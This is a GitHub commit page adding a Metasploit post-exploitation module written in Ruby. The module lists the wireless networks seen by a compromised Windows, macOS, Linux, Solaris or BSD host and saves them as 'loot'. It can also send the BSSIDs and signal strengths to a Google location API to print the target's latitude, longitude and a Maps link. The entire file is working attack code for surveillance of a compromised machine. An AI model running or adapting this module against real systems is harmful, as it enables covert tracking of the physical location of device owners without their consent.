Skip to content

Commit ba4b507

Browse files
committed
Land rapid7#3280 - Multiplatform WLAN Enumeration and Geolocation
2 parents 5c0664f + d4c0d01 commit ba4b507

File tree

1 file changed

+223
-0
lines changed

1 file changed

+223
-0
lines changed
Lines changed: 223 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,223 @@
1+
##
2+
# This module requires Metasploit: http//metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
require 'rex'
8+
require 'json'
9+
require 'net/http'
10+
11+
class Metasploit3 < Msf::Post
12+
13+
def initialize(info={})
14+
super( update_info( info,
15+
'Name' => 'Multiplatform WLAN Enumeration and Geolocation',
16+
'Description' => %q{ Enumerate wireless networks visible to the target device.
17+
Optionally geolocate the target by gathering local wireless networks and
18+
performing a lookup against Google APIs.},
19+
'License' => MSF_LICENSE,
20+
'Author' => [ 'Tom Sellers <tom <at> fadedcode.net>'],
21+
'Platform' => %w{ osx win linux bsd solaris },
22+
'SessionTypes' => [ 'meterpreter', 'shell' ],
23+
))
24+
25+
register_options(
26+
[
27+
OptBool.new('GEOLOCATE', [ false, 'Use Google APIs to geolocate Linux, Windows, and OS X targets.', false])
28+
], self.class)
29+
30+
end
31+
32+
def get_strength(quality)
33+
# Convert the signal quality to signal strength (dbm) to be sent to
34+
# Google. Docs indicate this should subtract 100 instead of the 95 I
35+
# am using here, but in practice 95 seems to be closer.
36+
signal_str = quality.to_i / 2
37+
signal_str = (signal_str - 95).round
38+
return signal_str
39+
40+
end
41+
42+
def parse_wireless_win(listing)
43+
wlan_list = ''
44+
raw_networks = listing.split("\r\n\r\n")
45+
46+
raw_networks.each { |network|
47+
details = network.match(/^SSID [\d]+ : ([^\r\n]*).*?BSSID 1[\s]+: ([\h]{2}:[\h]{2}:[\h]{2}:[\h]{2}:[\h]{2}:[\h]{2}).*?Signal[\s]+: ([\d]{1,3})%/m)
48+
if !details.nil?
49+
strength = get_strength(details[3])
50+
network_data = "&wifi=mac:#{details[2].to_s.upcase}|ssid:#{details[1].to_s}|ss=#{strength.to_i}"
51+
wlan_list << network_data
52+
end
53+
}
54+
55+
return wlan_list
56+
end
57+
58+
59+
def parse_wireless_linux(listing)
60+
wlan_list = ''
61+
raw_networks = listing.split("Cell ")
62+
63+
raw_networks.each { |network|
64+
details = network.match(/^[\d]{1,4} - Address: ([\h]{2}:[\h]{2}:[\h]{2}:[\h]{2}:[\h]{2}:[\h]{2}).*?Signal level=([\d-]{1,3}).*?ESSID:"([^"]*)/m)
65+
if !details.nil?
66+
network_data = "&wifi=mac:#{details[1].to_s.upcase}|ssid:#{details[3].to_s}|ss=#{details[2].to_i}"
67+
wlan_list << network_data
68+
end
69+
}
70+
71+
return wlan_list
72+
end
73+
74+
def parse_wireless_osx(listing)
75+
wlan_list = ''
76+
raw_networks = listing.split("\n")
77+
78+
raw_networks.each { |network|
79+
network = network.strip
80+
details = network.match(/^(.*(?!\h\h:))[\s]*([\h]{2}:[\h]{2}:[\h]{2}:[\h]{2}:[\h]{2}:[\h]{2})[\s]*([\d-]{1,3})/)
81+
if !details.nil?
82+
network_data = "&wifi=mac:#{details[2].to_s.upcase}|ssid:#{details[1].to_s}|ss=#{details[3].to_i}"
83+
wlan_list << network_data
84+
end
85+
}
86+
87+
return wlan_list
88+
end
89+
90+
def perform_geolocation(wlan_list)
91+
92+
if wlan_list.blank?
93+
print_error("Unable to enumerate wireless networks from the target. Wireless may not be present or enabled.")
94+
return
95+
end
96+
97+
# Build and send the request to Google
98+
url = "https://maps.googleapis.com/maps/api/browserlocation/json?browser=firefox&sensor=true#{wlan_list}"
99+
uri = URI.parse(URI.encode(url))
100+
request = Net::HTTP::Get.new(uri.request_uri)
101+
http = Net::HTTP::new(uri.host,uri.port)
102+
http.use_ssl = true
103+
response = http.request(request)
104+
105+
# Gather the required information from the response
106+
if response && response.code == '200'
107+
results = JSON.parse(response.body)
108+
latitude = results["location"]["lat"]
109+
longitude = results["location"]["lng"]
110+
accuracy = results["accuracy"]
111+
print_status("Google indicates that the target is within #{accuracy} meters of #{latitude},#{longitude}.")
112+
print_status("Google Maps URL: https://maps.google.com/?q=#{latitude},#{longitude}")
113+
else
114+
print_error("Failure connecting to Google for location lookup.")
115+
end
116+
117+
end
118+
119+
120+
# Run Method for when run command is issued
121+
def run
122+
if session.type =~ /shell/
123+
# Use the shell platform for selecting the command
124+
platform = session.platform
125+
else
126+
# For Meterpreter use the sysinfo OS since java Meterpreter returns java as platform
127+
platform = session.sys.config.sysinfo['OS']
128+
end
129+
130+
131+
case platform
132+
when /win/i
133+
134+
listing = cmd_exec('netsh wlan show networks mode=bssid')
135+
if listing.nil?
136+
print_error("Unable to generate wireless listing.")
137+
return nil
138+
else
139+
store_loot("host.windows.wlan.networks", "text/plain", session, listing, "wlan_networks.txt", "Available Wireless LAN Networks")
140+
# The wireless output does not lend itself to displaying on screen for this platform.
141+
print_status("Wireless list saved to loot.")
142+
if datastore['GEOLOCATE']
143+
wlan_list = parse_wireless_win(listing)
144+
perform_geolocation(wlan_list)
145+
return
146+
end
147+
end
148+
149+
when /osx/i
150+
151+
listing = cmd_exec('/System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport -s')
152+
if listing.nil?
153+
print_error("Unable to generate wireless listing.")
154+
return nil
155+
else
156+
store_loot("host.osx.wlan.networks", "text/plain", session, listing, "wlan_networks.txt", "Available Wireless LAN Networks")
157+
print_status("Target's wireless networks:\n\n#{listing}\n")
158+
if datastore['GEOLOCATE']
159+
wlan_list = parse_wireless_osx(listing)
160+
perform_geolocation(wlan_list)
161+
return
162+
end
163+
end
164+
165+
when /linux/i
166+
167+
listing = cmd_exec('iwlist scanning')
168+
if listing.nil?
169+
print_error("Unable to generate wireless listing.")
170+
return nil
171+
else
172+
store_loot("host.linux.wlan.networks", "text/plain", session, listing, "wlan_networks.txt", "Available Wireless LAN Networks")
173+
# The wireless output does not lend itself to displaying on screen for this platform.
174+
print_status("Wireless list saved to loot.")
175+
if datastore['GEOLOCATE']
176+
wlan_list = parse_wireless_linux(listing)
177+
perform_geolocation(wlan_list)
178+
return
179+
end
180+
end
181+
182+
when /solaris/i
183+
184+
listing = cmd_exec('dladm scan-wifi')
185+
if listing.blank?
186+
print_error("Unable to generate wireless listing.")
187+
return nil
188+
else
189+
store_loot("host.solaris.wlan.networks", "text/plain", session, listing, "wlan_networks.txt", "Available Wireless LAN Networks")
190+
print_status("Target's wireless networks:\n\n#{listing}\n")
191+
print_error("Geolocation is not supported on this platform.\n\n") if datastore['GEOLOCATE']
192+
return
193+
end
194+
195+
when /bsd/i
196+
197+
interface = cmd_exec("dmesg | grep -i wlan | cut -d ':' -f1 | uniq")
198+
# Printing interface as this platform requires the interface to be specified
199+
# it might not be detected correctly.
200+
print_status("Found wireless interface: #{interface}")
201+
listing = cmd_exec("ifconfig #{interface} scan")
202+
if listing.blank?
203+
print_error("Unable to generate wireless listing.")
204+
return nil
205+
else
206+
store_loot("host.bsd.wlan.networks", "text/plain", session, listing, "wlan_networks.txt", "Available Wireless LAN Networks")
207+
print_status("Target's wireless networks:\n\n#{listing}\n")
208+
print_error("Geolocation is not supported on this platform.\n\n") if datastore['GEOLOCATE']
209+
return
210+
end
211+
212+
else
213+
print_error("The target's platform, #{platform}, is not supported at this time.")
214+
return nil
215+
end
216+
217+
rescue Rex::TimeoutError, Rex::Post::Meterpreter::RequestError
218+
rescue ::Exception => e
219+
print_status("The following Error was encountered: #{e.class} #{e}")
220+
end
221+
222+
223+
end

0 commit comments

Comments
 (0)